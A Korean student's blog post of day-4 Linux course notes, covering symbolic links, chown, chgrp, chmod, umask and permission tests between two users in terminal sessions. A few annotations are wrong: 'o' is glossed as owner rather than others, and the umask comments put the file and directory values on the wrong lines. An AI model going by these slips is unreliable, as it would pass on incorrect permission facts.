블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.5
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글

4일차

==============================안내==============================

6번 자리(linux205) > 21번 자리(linux220)

응용프로그램, 문서, 바탕 화면 글꼴 : Sans 10
창 제목 글꼴 : Monospace Blod 11
고정폭 글꼴 : MiscFixed SemiCondensed 11

기본내용 위주로 외워둘 것 심화는 찾아보면서 해도 된다
정리해주는 내용은 필히 외워둘 것 알고 있어야 한다

windows에 설치하는 vim 이용해서 vi에 익숙해져라
http://www.vim.org/download.php
http://www.plusblog.co.kr/947

주말에 집에서도 교육환경이랑 비슷하게 구성해놓기

==============================복습==============================

wc CMD
su CMD 하이픈(-)이 들어가게 되면 현재 디렉토리 유지하면서
last CMD
who CMD
VI 편집기
파일의 종류
 일반 파일
 디렉토리 파일
 링크 파일
 - 하드링크(Hard Link) 파일  (# ln file1 file2)
 - 심볼릭 링크(Symbolic Link) 파일 (# ln -s file1 file2)
 장치 파일
 - 블럭 장치(Block Device) 파일
 - 캐릭터 장치(Character Device) 파일

==============================강의==============================

파일 속성 변경 명령어
 chown CMD
  # chown -R root:other dir1
 chgrp CMD
 chmod CMD
  퍼미션 변경 방법 종류
  - 심볼릭 모드(Symbolic Mode) # chmod u+x file1
  - 옥탈 모드  (Octal Mode) # chmod 744 file1
  파일 & 디렉토리 퍼미션 의미
  - 파일(r/w/x)
  - 디렉토리(r:ls/w:touch, rm/x:cd)
  umask CMD
  - (관리자) /etc/bashrc
  - (사용자) ~/.bashrc
  특수 퍼미션
  - SetUID/SetGID/Sticky Bit 의미
  - SetUID/SetGID/Sticky Bit 설정
  - SetUID/SetGID/Sticky Bit 관리
VI 편집기
 ~/.vimrc
 - set nu
 - set ai
 - set tabstop=4

사용자와 통신할 때 사용하는 명령어
 mail/mailx CMD
  # mailx -s "OK: linux2XX" admin@example.com < report.txt
 talk CMD
  [참고] 서비스 on/off 관리 툴 종류
  (GUI) # system-config-services (# serviceconf)
  (TUI) # ntsysv (# setup)
  (CLI) # chkconfig ntalk on/off
 wall CMD

==============================실습==============================

심볼릭 링크는 일반적으로 상대경로를 사용하지 않는다
(X) # ln -s dir1 dir2
(O) # ln -s /test/dir1 /test/dir2

웹서버에서 웹소스 디렉토리 마이그레이션 하는 작업
DAUM Web Server httpd(80) <- Web Client http://www.daum.net:80
/was/index.html

작업 : /was -> /zeus
# ln -s /was /zeus

관리 디렉토리 통합
FTP : /etc/vsftpd
DNS : /var/named
WEB : /var/www/html

# cd /test : rm -rf /test/*
# ln -s /etc/vsftpd FTP
# ln -s /var/named DNS
# ln -s /var/www/html WEB
# cd /test ; ls
# cd FTP
# cd ../DNS
# cd ../WEB

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# ln -s /etc/vsftpd FTP
[root@linux220 /test]# ln -s /var/named DNS
[root@linux220 /test]# ln -s /var/www/html WEB
[root@linux220 /test]# ls
DNS  FTP  WEB
[root@linux220 /test]# cd FTP
[root@linux220 /test/FTP]# cd ../DNS
[root@linux220 /test/DNS]# cd ../WEB
[root@linux220 /test/WEB]#

버전 관리
/usr/local/tomcat-4.X ----> /usr/local/tomcat
/usr/local/tomcat-5.X ----> /usr/local/tomcat
/usr/local/tomcat-6.X ----> /usr/local/tomcat

(초기 프로그램을 설치하는 경우)
# cd /usr/local
# ls
tomcat-4.X

# ln -s tomcat-4.X tomcat
# cd tomcat
설정 작업(EX: /usr/local/tomcat)

(버전 업그레이드 하는 경우)
# cd /usr/local
# ls
tomcat-4.X tomcat-5.X tomcat

# rm tomcat
# ln -s tomcat-5.x tomcat

# cd tomcat
이전설정(/usr/local/tomcat) 복사



[root@linux220 /test/WEB]# ls -l /dev
합계 0
lrwxrwxrwx 1 root root         13  4월 15 16:11 MAKEDEV -> /sbin/MAKEDEV
lrwxrwxrwx 1 root root          4  4월 15 16:11 X0R -> null
crw-rw---- 1 root audio  14,   12  4월 15 16:11 adsp
crw------- 1 root root   10,  175  4월 15 16:11 agpgart
crw-rw---- 1 root audio  14,    4  4월 15 16:11 audio
crw------- 1 root root   10,   60  4월 15 16:11 autofs
drwxr-xr-x 3 root root         60  4월 15 16:11 bus
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrom -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrom-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrw -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdrw-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdwriter -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 cdwriter-hdc -> hdc
crw------- 1 root root    5,    1  4월 15 16:11 console
lrwxrwxrwx 1 root root         11  4월 15 16:11 core -> /proc/kcore
drwxr-xr-x 6 root root        120  4월 15 16:11 disk
crw-rw---- 1 root root   14,    9  4월 15 16:11 dmmidi
crw-rw---- 1 root audio  14,    3  4월 15 16:11 dsp
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvd -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvd-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdrw -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdrw-hdc -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdwriter -> hdc
lrwxrwxrwx 1 root root          3  4월 15 16:11 dvdwriter-hdc -> hdc
lrwxrwxrwx 1 root root         13  4월 15 16:11 fd -> /proc/self/fd
crw-rw-rw- 1 root root    1,    7  4월 15 16:11 full
srwxrwxrwx 1 root root          0  4월 15 16:11 gpmctl
brw-rw---- 1 root disk   22,    0  4월 15 16:11 hdc
crw------- 1 root root   10,  228  4월 15 16:11 hpet
prw------- 1 root root          0  4월 15 16:11 initctl
drwxr-xr-x 2 root root        180  4월 15 16:11 input
crw------- 1 root root    1,   11  4월 15 16:11 kmsg
srw-rw-rw- 1 root root          0  4월 15 16:11 log
brw-r----- 1 root disk    7,    0  4월 15 16:11 loop0
brw-r----- 1 root disk    7,    1  4월 15 16:11 loop1
brw-r----- 1 root disk    7,    2  4월 15 16:11 loop2
brw-r----- 1 root disk    7,    3  4월 15 16:11 loop3
brw-r----- 1 root disk    7,    4  4월 15 16:11 loop4
brw-r----- 1 root disk    7,    5  4월 15 16:11 loop5
brw-r----- 1 root disk    7,    6  4월 15 16:11 loop6
brw-r----- 1 root disk    7,    7  4월 15 16:11 loop7
drwxr-xr-x 2 root root         60  4월 15 16:11 mapper
brw-r----- 1 root disk    9,    0  4월 15 16:11 md0
crw-r----- 1 root kmem    1,    1  4월 15 16:11 mem
crw-rw---- 1 root audio  14,    2  4월 15 16:11 midi
crw-rw---- 1 root audio  14,    0  4월 15 16:11 mixer
drwxr-xr-x 2 root root         60  4월 15 16:11 net
crw-rw-rw- 1 root root    1,    3  4월 15 16:11 null
crw-rw---- 1 root root   10,  144  4월 15 16:11 nvram
crw------- 1 root root    1,   12  4월 15 16:11 oldmem
crw-rw---- 1 root lp     99,    0  4월 15 16:11 parport0
crw-rw---- 1 root lp     99,    1  4월 15 16:11 parport1
crw-rw---- 1 root lp     99,    2  4월 15 16:11 parport2
crw-rw---- 1 root lp     99,    3  4월 15 16:11 parport3
crw-r----- 1 root kmem    1,    4  4월 15 16:11 port
crw------- 1 root root  108,    0  4월 15 16:11 ppp
crw-rw-rw- 1 root tty     5,    2  4월 15 16:27 ptmx
drwxr-xr-x 2 root root          0  4월 15 16:10 pts
lrwxrwxrwx 1 root root          4  4월 15 16:11 ram -> ram1
brw-r----- 1 root disk    1,    0  4월 15 16:10 ram0
brw-r----- 1 root disk    1,    1  4월 15 16:10 ram1
brw-r----- 1 root disk    1,   10  4월 15 16:10 ram10
brw-r----- 1 root disk    1,   11  4월 15 16:10 ram11
brw-r----- 1 root disk    1,   12  4월 15 16:10 ram12
brw-r----- 1 root disk    1,   13  4월 15 16:10 ram13
brw-r----- 1 root disk    1,   14  4월 15 16:10 ram14
brw-r----- 1 root disk    1,   15  4월 15 16:10 ram15
brw-r----- 1 root disk    1,    2  4월 15 16:10 ram2
brw-r----- 1 root disk    1,    3  4월 15 16:10 ram3
brw-r----- 1 root disk    1,    4  4월 15 16:10 ram4
brw-r----- 1 root disk    1,    5  4월 15 16:10 ram5
brw-r----- 1 root disk    1,    6  4월 15 16:10 ram6
brw-r----- 1 root disk    1,    7  4월 15 16:10 ram7
brw-r----- 1 root disk    1,    8  4월 15 16:10 ram8
brw-r----- 1 root disk    1,    9  4월 15 16:10 ram9
lrwxrwxrwx 1 root root          4  4월 15 16:11 ramdisk -> ram0
crw-rw-rw- 1 root root    1,    8  4월 15 16:11 random
crw------- 1 root root  162,    0  4월 15 16:11 rawctl
brw------- 1 root root    8,    1  4월 15 16:11 root
crw-r--r-- 1 root root   10,  135  4월 15 16:10 rtc
brw-r----- 1 root disk    8,    0  4월 15 16:11 sda
brw-r----- 1 root disk    8,    1  4월 15 16:11 sda1
brw-r----- 1 root disk    8,    2  4월 15 16:11 sda2
brw-r----- 1 root disk    8,    3  4월 15 16:11 sda3
brw-r----- 1 root disk    8,    4  4월 15 16:11 sda4
brw-r----- 1 root disk    8,    5  4월 15 16:11 sda5
brw-r----- 1 root disk    8,    6  4월 15 16:11 sda6
brw-r----- 1 root disk    8,    7  4월 15 16:11 sda7
brw-r----- 1 root disk    8,    8  4월 15 16:11 sda8
crw-rw---- 1 root audio  14,    1  4월 15 16:11 sequencer
crw-rw---- 1 root audio  14,    8  4월 15 16:11 sequencer2
crw------- 1 root root   21,    0  4월 15 16:11 sg0
drwxrwxrwt 2 root root         40  4월 15 16:11 shm
crw------- 1 root root   10,  231  4월 15 16:11 snapshot
drwxr-xr-x 2 root root        180  4월 15 16:11 snd
lrwxrwxrwx 1 root root         15  4월 15 16:11 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root         15  4월 15 16:11 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root         15  4월 15 16:11 stdout -> /proc/self/fd/1
crw------- 1 root root    4,    0  4월 15 16:10 systty
crw-rw-rw- 1 root tty     5,    0  4월 15 16:11 tty
crw-rw---- 1 root root    4,    0  4월 15 16:10 tty0
crw------- 1 root root    4,    1  4월 15 16:11 tty1
crw-rw---- 1 root tty     4,   10  4월 15 16:10 tty10
crw-rw---- 1 root tty     4,   11  4월 15 16:10 tty11
crw-rw---- 1 root tty     4,   12  4월 15 16:10 tty12
crw-rw---- 1 root tty     4,   13  4월 15 16:11 tty13
crw-rw---- 1 root tty     4,   14  4월 15 16:11 tty14
crw-rw---- 1 root tty     4,   15  4월 15 16:11 tty15
crw-rw---- 1 root tty     4,   16  4월 15 16:11 tty16
crw-rw---- 1 root tty     4,   17  4월 15 16:11 tty17
crw-rw---- 1 root tty     4,   18  4월 15 16:11 tty18
crw-rw---- 1 root tty     4,   19  4월 15 16:11 tty19
crw------- 1 root root    4,    2  4월 15 16:11 tty2
crw-rw---- 1 root tty     4,   20  4월 15 16:11 tty20
crw-rw---- 1 root tty     4,   21  4월 15 16:11 tty21
crw-rw---- 1 root tty     4,   22  4월 15 16:11 tty22
crw-rw---- 1 root tty     4,   23  4월 15 16:11 tty23
crw-rw---- 1 root tty     4,   24  4월 15 16:11 tty24
crw-rw---- 1 root tty     4,   25  4월 15 16:11 tty25
crw-rw---- 1 root tty     4,   26  4월 15 16:11 tty26
crw-rw---- 1 root tty     4,   27  4월 15 16:11 tty27
crw-rw---- 1 root tty     4,   28  4월 15 16:11 tty28
crw-rw---- 1 root tty     4,   29  4월 15 16:11 tty29
crw------- 1 root root    4,    3  4월 15 16:11 tty3
crw-rw---- 1 root tty     4,   30  4월 15 16:11 tty30
crw-rw---- 1 root tty     4,   31  4월 15 16:11 tty31
crw-rw---- 1 root tty     4,   32  4월 15 16:11 tty32
crw-rw---- 1 root tty     4,   33  4월 15 16:11 tty33
crw-rw---- 1 root tty     4,   34  4월 15 16:11 tty34
crw-rw---- 1 root tty     4,   35  4월 15 16:11 tty35
crw-rw---- 1 root tty     4,   36  4월 15 16:11 tty36
crw-rw---- 1 root tty     4,   37  4월 15 16:11 tty37
crw-rw---- 1 root tty     4,   38  4월 15 16:11 tty38
crw-rw---- 1 root tty     4,   39  4월 15 16:11 tty39
crw------- 1 root root    4,    4  4월 15 16:11 tty4
crw-rw---- 1 root tty     4,   40  4월 15 16:11 tty40
crw-rw---- 1 root tty     4,   41  4월 15 16:11 tty41
crw-rw---- 1 root tty     4,   42  4월 15 16:11 tty42
crw-rw---- 1 root tty     4,   43  4월 15 16:11 tty43
crw-rw---- 1 root tty     4,   44  4월 15 16:11 tty44
crw-rw---- 1 root tty     4,   45  4월 15 16:11 tty45
crw-rw---- 1 root tty     4,   46  4월 15 16:11 tty46
crw-rw---- 1 root tty     4,   47  4월 15 16:11 tty47
crw-rw---- 1 root tty     4,   48  4월 15 16:11 tty48
crw-rw---- 1 root tty     4,   49  4월 15 16:11 tty49
crw------- 1 root root    4,    5  4월 15 16:11 tty5
crw-rw---- 1 root tty     4,   50  4월 15 16:11 tty50
crw-rw---- 1 root tty     4,   51  4월 15 16:11 tty51
crw-rw---- 1 root tty     4,   52  4월 15 16:11 tty52
crw-rw---- 1 root tty     4,   53  4월 15 16:11 tty53
crw-rw---- 1 root tty     4,   54  4월 15 16:11 tty54
crw-rw---- 1 root tty     4,   55  4월 15 16:11 tty55
crw-rw---- 1 root tty     4,   56  4월 15 16:11 tty56
crw-rw---- 1 root tty     4,   57  4월 15 16:11 tty57
crw-rw---- 1 root tty     4,   58  4월 15 16:11 tty58
crw-rw---- 1 root tty     4,   59  4월 15 16:11 tty59
crw------- 1 root root    4,    6  4월 15 16:11 tty6
crw-rw---- 1 root tty     4,   60  4월 15 16:11 tty60
crw-rw---- 1 root tty     4,   61  4월 15 16:11 tty61
crw-rw---- 1 root tty     4,   62  4월 15 16:11 tty62
crw-rw---- 1 root tty     4,   63  4월 15 16:11 tty63
crw-rw---- 1 root root    4,    7  4월 15 16:10 tty7
crw-rw---- 1 root tty     4,    8  4월 15 16:11 tty8
crw-rw---- 1 root tty     4,    9  4월 15 16:10 tty9
crw-rw---- 1 root uucp    4,   64  4월 15 16:10 ttyS0
crw-rw---- 1 root uucp    4,   65  4월 15 16:10 ttyS1
crw-rw---- 1 root uucp    4,   66  4월 15 16:10 ttyS2
crw-rw---- 1 root uucp    4,   67  4월 15 16:10 ttyS3
cr--r--r-- 1 root root    1,    9  4월 15 16:11 urandom
crw------- 1 root root  442,    0  4월 15 16:11 usbdev1.1_ep00
crw------- 1 root root  442,    0  4월 15 16:11 usbdev1.1_ep81
crw------- 1 root root  442, 2048  4월 15 16:11 usbdev2.1_ep00
crw------- 1 root root  442, 2048  4월 15 16:11 usbdev2.1_ep81
crw------- 1 root root  442, 2049  4월 15 16:11 usbdev2.2_ep00
crw------- 1 root root  442, 2049  4월 15 16:11 usbdev2.2_ep81
crw------- 1 root root  442, 2050  4월 15 16:11 usbdev2.3_ep00
crw------- 1 root root  442, 2050  4월 15 16:11 usbdev2.3_ep81
crw------- 1 vcsa tty     7,    0  4월 15 16:11 vcs
crw------- 1 vcsa tty     7,    1  4월 15 16:11 vcs1
crw------- 1 vcsa tty     7,    2  4월 15 16:11 vcs2
crw------- 1 vcsa tty     7,    3  4월 15 16:11 vcs3
crw------- 1 vcsa tty     7,    4  4월 15 16:11 vcs4
crw------- 1 vcsa tty     7,    5  4월 15 16:11 vcs5
crw------- 1 vcsa tty     7,    6  4월 15 16:11 vcs6
crw------- 1 vcsa tty     7,    7  4월 15 16:11 vcs7
crw------- 1 vcsa tty     7,  128  4월 15 16:11 vcsa
crw------- 1 vcsa tty     7,  129  4월 15 16:11 vcsa1
crw------- 1 vcsa tty     7,  130  4월 15 16:11 vcsa2
crw------- 1 vcsa tty     7,  131  4월 15 16:11 vcsa3
crw------- 1 vcsa tty     7,  132  4월 15 16:11 vcsa4
crw------- 1 vcsa tty     7,  133  4월 15 16:11 vcsa5
crw------- 1 vcsa tty     7,  134  4월 15 16:11 vcsa6
crw------- 1 vcsa tty     7,  135  4월 15 16:11 vcsa7
crw------- 1 root root   10,   62  4월 15 16:11 vmci
crw-rw-rw- 1 root root   10,   61  4월 15 16:11 vsock
crw-rw-rw- 1 root root    1,    5  4월 15 16:11 zero


(파일의 속성 정보 변경 명령어)

File Type :
Permission Mode : chmod
Link Count : ln
Owner : chown
Group : chgrp
File Size :
Mtime : touch -t
File Name : mv

[root@linux220 ~]# touch file1
[root@linux220 ~]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:35 file1
[root@linux220 ~]# chown fedora file1
[root@linux220 ~]# ls -l file1
-rw-r--r-- 1 fedora root 0  4월 15 16:35 file1
[root@linux220 ~]# chown .user01 file1
[root@linux220 ~]# ls -l file1
-rw-r--r-- 1 fedora user01 0  4월 15 16:35 file1
[root@linux220 ~]# chown root:root file1
[root@linux220 ~]# ls -l file1 (# chown root.root file1)
-rw-r--r-- 1 root root 0  4월 15 16:35 file1

[EX2] chown -R 옵션 실습
(실습용 구조)
/test -- dir1 --+-- dir2 -- dir3
  |
  +-- file1
  |
  +-- file2

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# mkdir -p dir1/dir2/dir3
[root@linux220 /test]# touch dir1/file1
[root@linux220 /test]# touch dir1/file2
[root@linux220 /test]# ls -lR dir1
dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:37 dir2
-rw-r--r-- 1 root root    0  4월 15 16:37 file1
-rw-r--r-- 1 root root    0  4월 15 16:37 file2

dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:37 dir3

dir1/dir2/dir3:
합계 0
[root@linux220 /test]# find . -ls
5003713    4 drwxrwxrwx   3 root     root         4096  4월 15 16:37 .
5003714    4 drwxr-xr-x   3 root     root         4096  4월 15 16:37 ./dir1
5003718    0 -rw-r--r--   1 root     root            0  4월 15 16:37 ./dir1/file2
5003717    0 -rw-r--r--   1 root     root            0  4월 15 16:37 ./dir1/file1
5003715    4 drwxr-xr-x   3 root     root         4096  4월 15 16:37 ./dir1/dir2
5003716    4 drwxr-xr-x   2 root     root         4096  4월 15 16:37 ./dir1/dir2/dir3
[root@linux220 /test]# tree
.
`-- dir1
    |-- dir2
    |   `-- dir3
    |-- file1
    `-- file2

3 directories, 2 files
[root@linux220 /test]# chown -R fedora:fedora dir1
[root@linux220 /test]# ls -lR dir1
dir1:
합계 4.0K
drwxr-xr-x 3 fedora fedora 4.0K  4월 15 16:37 dir2
-rw-r--r-- 1 fedora fedora    0  4월 15 16:37 file1
-rw-r--r-- 1 fedora fedora    0  4월 15 16:37 file2

dir1/dir2:
합계 4.0K
drwxr-xr-x 2 fedora fedora 4.0K  4월 15 16:37 dir3

dir1/dir2/dir3:
합계 0
[root@linux220 /test]# chown -R .user01 dir1
[root@linux220 /test]# find . -ls
5003713    4 drwxrwxrwx   3 root     root         4096  4월 15 16:37 .
5003714    4 drwxr-xr-x   3 fedora   user01       4096  4월 15 16:37 ./dir1
5003718    0 -rw-r--r--   1 fedora   user01          0  4월 15 16:37 ./dir1/file2
5003717    0 -rw-r--r--   1 fedora   user01          0  4월 15 16:37 ./dir1/file1
5003715    4 drwxr-xr-x   3 fedora   user01       4096  4월 15 16:37 ./dir1/dir2
5003716    4 drwxr-xr-x   2 fedora   user01       4096  4월 15 16:37 ./dir1/dir2/dir3
[root@linux220 /test]# chown -R root:root dir1
[root@linux220 /test]# ls -lR dir1
dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:37 dir2
-rw-r--r-- 1 root root    0  4월 15 16:37 file1
-rw-r--r-- 1 root root    0  4월 15 16:37 file2

dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:37 dir3

dir1/dir2/dir3:
합계 0


chgrp 체인지그룹 파일의 사용자 그룹을 바꾼다

[root@linux220 /test]# rm -rf /tets/*
[root@linux220 /test]# touch file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:41 file1
[root@linux220 /test]# chgrp fedora file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root fedora 0  4월 15 16:41 file1

[root@linux220 /test]# cd /test
[root@linux220 /test]# mkdir -p dir1/dir2/dir3
[root@linux220 /test]# ls -lR
.:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:42 dir1

./dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:42 dir2

./dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:42 dir3

./dir1/dir2/dir3:
합계 0
[root@linux220 /test]# chgrp fedora dir1
[root@linux220 /test]# ls -lR
.:
합계 4.0K
drwxr-xr-x 3 root fedora 4.0K  4월 15 16:42 dir1

./dir1:
합계 4.0K
drwxr-xr-x 3 root root 4.0K  4월 15 16:42 dir2

./dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 16:42 dir3

./dir1/dir2/dir3:
합계 0
[root@linux220 /test]# chgrp -R user01 dir1
[root@linux220 /test]# ls -lR
.:
합계 4.0K
drwxr-xr-x 3 root user01 4.0K  4월 15 16:42 dir1

./dir1:
합계 4.0K
drwxr-xr-x 3 root user01 4.0K  4월 15 16:42 dir2

./dir1/dir2:
합계 4.0K
drwxr-xr-x 2 root user01 4.0K  4월 15 16:42 dir3

./dir1/dir2/dir3:
합계 0



chmod 파일 접근 권한을 바꾼다 / 퍼미션 모드를 바꾼다

퍼미션(Permission)을 변경하는 방법
- 심볼릭 모드(Symbolic Mode) : # chmod u+x file1 //문자를 쓰는 방식
- 옥탈 모드(Octal Mode) : # chmod 744 file1  //숫자를 쓰는 방식

a(all) = u(user) + g(group) + o(owner)

[root@linux220 /test]# touch file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u+x file1
[root@linux220 /test]# ls -l file1
-rwxr--r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod g-r file1
[root@linux220 /test]# ls -l file1
-rwx---r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u-x.g+x file1
chmod: invalid mode: `u-x.g+x'
더 많은 정보를 보려면 `chmod --help' 하십시오.  //뭐가 문제?? -> ,(쉼표)로 해야하는데 .(마침표)로 함
[root@linux220 /test]# ls -l file1
-rwx---r-- 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u-x.g+x file1
chmod: invalid mode: `u-x.g+x'
더 많은 정보를 보려면 `chmod --help' 하십시오.
[root@linux220 /test]# chmod a=rwx file1
[root@linux220 /test]# ls -l file1
-rwxrwxrwx 1 root root 0  4월 15 16:46 file1
[root@linux220 /test]# chmod u-x,g-x file1  //이건 되는데??
[root@linux220 /test]# ls -l file1
-rw-rw-rwx 1 root root 0  4월 15 16:46 file1

(문제 생긴 부분에서 수정!!)
[root@linux220 /test]# chmod u-x,g+x file1
[root@linux220 /test]# ls -l
합계 0
-rw---xr-- 1 root root 0  4월 15 16:54 file1








옥탈모드 수치모드

--- : 권한 없음 0
--x : 실행 권한 1
-w- : 쓰기 권한 2
-wx : 쓰기 실행 3
r-- : 읽기 권한 4
r-x : 읽기 실행 5
rw- : 읽기 쓰기 6
rwx : 읽기 쓰기 실행 7

# chmod 744 file1 (rwx r-- r--)

[root@linux220 /test]# touch file1
[root@linux220 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 15 16:52 file1
[root@linux220 /test]# chmod 744 file1
[root@linux220 /test]# ls -l file1
-rwxr--r-- 1 root root 0  4월 15 16:52 file1
[root@linux220 /test]# chmod 754 file1
[root@linux220 /test]# ls -l file1
-rwxr-xr-- 1 root root 0  4월 15 16:52 file1


파일에 대한 퍼미션
r(read) 읽기, w(write) 수정, x(excute) 실행 할 수 있는 권한

디렉토리에 대한 퍼미션
r : 디렉토리에서 ls CMD tngodrnjsgks
w : 디렉토리안의 파일들의 생성과 삭제를 할 수 있는 권한 touch CMD, rm CMD
x : 디렉토리내부로의 cd CMD 수행할 수 있는 권한

(파일과 디렉토리의 퍼미션의 정확한 의미)
----------------------------------
파일 디렉토리
----------------------------------
r r(ls CMD)
w w(생성 & 삭제)
x x(cd CMD)
----------------------------------



[터미널1] fedora 사용자 터미널

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (2)

login: fedora
Password:
Last login: Thu Apr 14 18:35:50 from linux220.example.com
[fedora@linux220 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux220 ~]$ pwd
/home/fedora
[fedora@linux220 ~]$ ls -ld /home/fedora
drwx------ 3 fedora fedora 1024  4월 13 01:32 /home/fedora
[fedora@linux220 ~]$ mkdir dirtest
[fedora@linux220 ~]$ touch dirtest/test2.txt
[fedora@linux220 ~]$ ls -lR
.:
합계 1
drwxrwxr-x 2 fedora fedora 1024  4월 15 17:27 dirtest

./dirtest:
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt





[터미널2] user01 사용자 터미널

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (4)

login: user01
Password:
Last login: Thu Apr 14 18:36:07 from linux220.example.com
[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ pwd
/home/user01
[user01@linux220 ~]$ cd ~fedora
-bash: cd: /home/fedora: 허가 거부됨
[user01@linux220 ~]$ cd /home/fedora
-bash: cd: /home/fedora: 허가 거부됨
[user01@linux220 ~]$ id fedora
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[user01@linux220 ~]$ id user01
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ cd ~fedora/dirtest
-bash: cd: /home/fedora/dirtest: 허가 거부됨
[user01@linux220 ~]$ rm -f ~fedora/dirtest/test2.txt
rm: cannot remove `/home/fedora/dirtest/test2.txt': 허가 거부됨


[터미널1] fedora 사용자 터미널

[fedora@linux220 ~]$ chmod 757 /home/fedora
[fedora@linux220 ~]$ ls -ld /home/fedora
drwxr-xrwx 4 fedora fedora 1024  4월 15 17:27 /home/fedora
[fedora@linux220 ~]$ chmod 755 dirtest
[fedora@linux220 ~]$ touch dirtest/test3
[fedora@linux220 ~]$ chmod 646 dirtest/test3
[fedora@linux220 ~]$ ls -lR
.:
합계 1
drwxr-xr-x 2 fedora fedora 1024  4월 15 17:33 dirtest

./dirtest:
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt
-rw-r--rw- 1 fedora fedora 0  4월 15 17:33 test3
[fedora@linux220 ~]$ tree
.   //rwxr-xrwx
`-- dirtest  //rwxr-xr-x
    |-- test2.txt //rw-rw-r--
    `-- test3  //rw-r--rw-

1 directory, 2 files



[터미널2] user01 사용자 터미널

[user01@linux220 ~]$ cd ~fedora
[user01@linux220 fedora]$ cd dirtest
[user01@linux220 dirtest]$ rm -f test3
rm: cannot remove `test3': 허가 거부됨
[user01@linux220 dirtest]$ mkdir dirtest1
mkdir: `dirtest1' 디렉토리를 만들 수 없습니다: 허가 거부됨


[터미널1] fedora

[fedora@linux220 ~]$ chmod 757 dirtest
[fedora@linux220 ~]$ ls -lR
.:
합계 1
drwxr-xrwx 2 fedora fedora 1024  4월 15 17:33 dirtest

./dirtest:
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt
-rw-r--rw- 1 fedora fedora 0  4월 15 17:33 test3



[터미널2] user01

[user01@linux220 dirtest]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 dirtest]$ rm -f test3
[user01@linux220 dirtest]$ touch test4.txt
[user01@linux220 dirtest]$ ls -l
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt
-rw-rw-r-- 1 user01 user01 0  4월 15 17:37 test4.txt



umask 간단한 실습

[root@linux220 /test]# umask
0022
[root@linux220 /test]# touch file1
[root@linux220 /test]# mkdir dir1
[root@linux220 /test]# ls -l
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 17:39 dir1 //644
-rw-r--r-- 1 root root    0  4월 15 17:39 file1 //755

기본 퍼미션(Default Permission) 변경
   파일 디렉토리
Default Permission 666 777
umask   022 022
생성 기본퍼미션  644 755

(666 - 022 = 644)
(777 - 022 = 755)

Default Permission

File Directory
-------------------------------------------
666 777 666 777
022 022 027 027
-------------------------------------------
644 755 640 750


[root@linux220 /test]# umask 002
[root@linux220 /test]# umask
0002
[root@linux220 /test]# touch file2
[root@linux220 /test]# mkdir dir2
[root@linux220 /test]# ls -ld *2
drwxrwxr-x 2 root root 4.0K  4월 15 17:42 dir2 //664
-rw-rw-r-- 1 root root    0  4월 15 17:42 file2 //775


[root@linux220 /test]# umask 027
[root@linux220 /test]# umask
0027
[root@linux220 /test]# touch file3
[root@linux220 /test]# mkdir dir3
[root@linux220 /test]# ls -ld *3
drwxr-x--- 2 root root 4.0K  4월 15 17:43 dir3 //666-027=640
